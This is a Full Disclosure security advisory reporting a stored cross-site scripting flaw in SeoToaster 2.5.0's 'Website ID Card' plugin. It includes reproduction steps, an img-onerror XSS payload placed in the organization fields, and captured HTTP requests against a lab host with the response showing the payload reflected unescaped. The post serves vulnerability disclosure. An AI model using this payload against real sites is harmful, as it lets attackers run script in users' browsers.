full-disclosure - [FD] Stored XSS "Edit General Info" Functionality

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Message-ID: <CAF2Wu1bcVb4yPwfFkZOGhwUbQu74jeWnsaWoTEXXwH29qxzhfw@mail.gmail.com>
Date: Sun, 20 Jul 2025 16:51:30 +0100
From: Andrey Stoykov <mwebsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Stored XSS "Edit General Info" Functionality - seotoasterv2.5.0

# Exploit Title: Stored XSS "Edit General Info" Functionality -
seotoasterv2.5.0
# Date: 07/2025
# Exploit Author: Andrey Stoykov
# Version: 2.5.0
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Stored XSS "Edit General Info" Functionality #3:

Steps to Reproduce

1. Login with admin and visit "Website ID Card" > "Website Id Card"
2. In the "Organization Name" add the following payload "><img src=x
onerror=alert(1)>

// HTTP POST Request

POST /seotoaster/plugin/widcard/run/setWebsiteIdCard HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
Gecko/20100101 Firefox/141.0
[...]

------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
Content-Disposition: form-data; name="organization_name"

"><img src=x onerror=alert(`xss1`)>
------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
Content-Disposition: form-data; name="organization_description"

"><img src=x onerror=alert(`xss2`)>
------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
[...]

// HTTP Response

HTTP/1.1 302 Found
Date: Sun, 20 Jul 2025 15:35:07 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
[...]

// HTTP GET Request

GET /seotoaster/plugin/widcard/run/getWebsiteIdCard HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
Gecko/20100101 Firefox/141.0
[...]

// HTTP Response

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:35:11 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
[...]

[...]
<input type="text" name="organization_name" value=""><img src=x
onerror=alert(`xss1`)>" />
[...]
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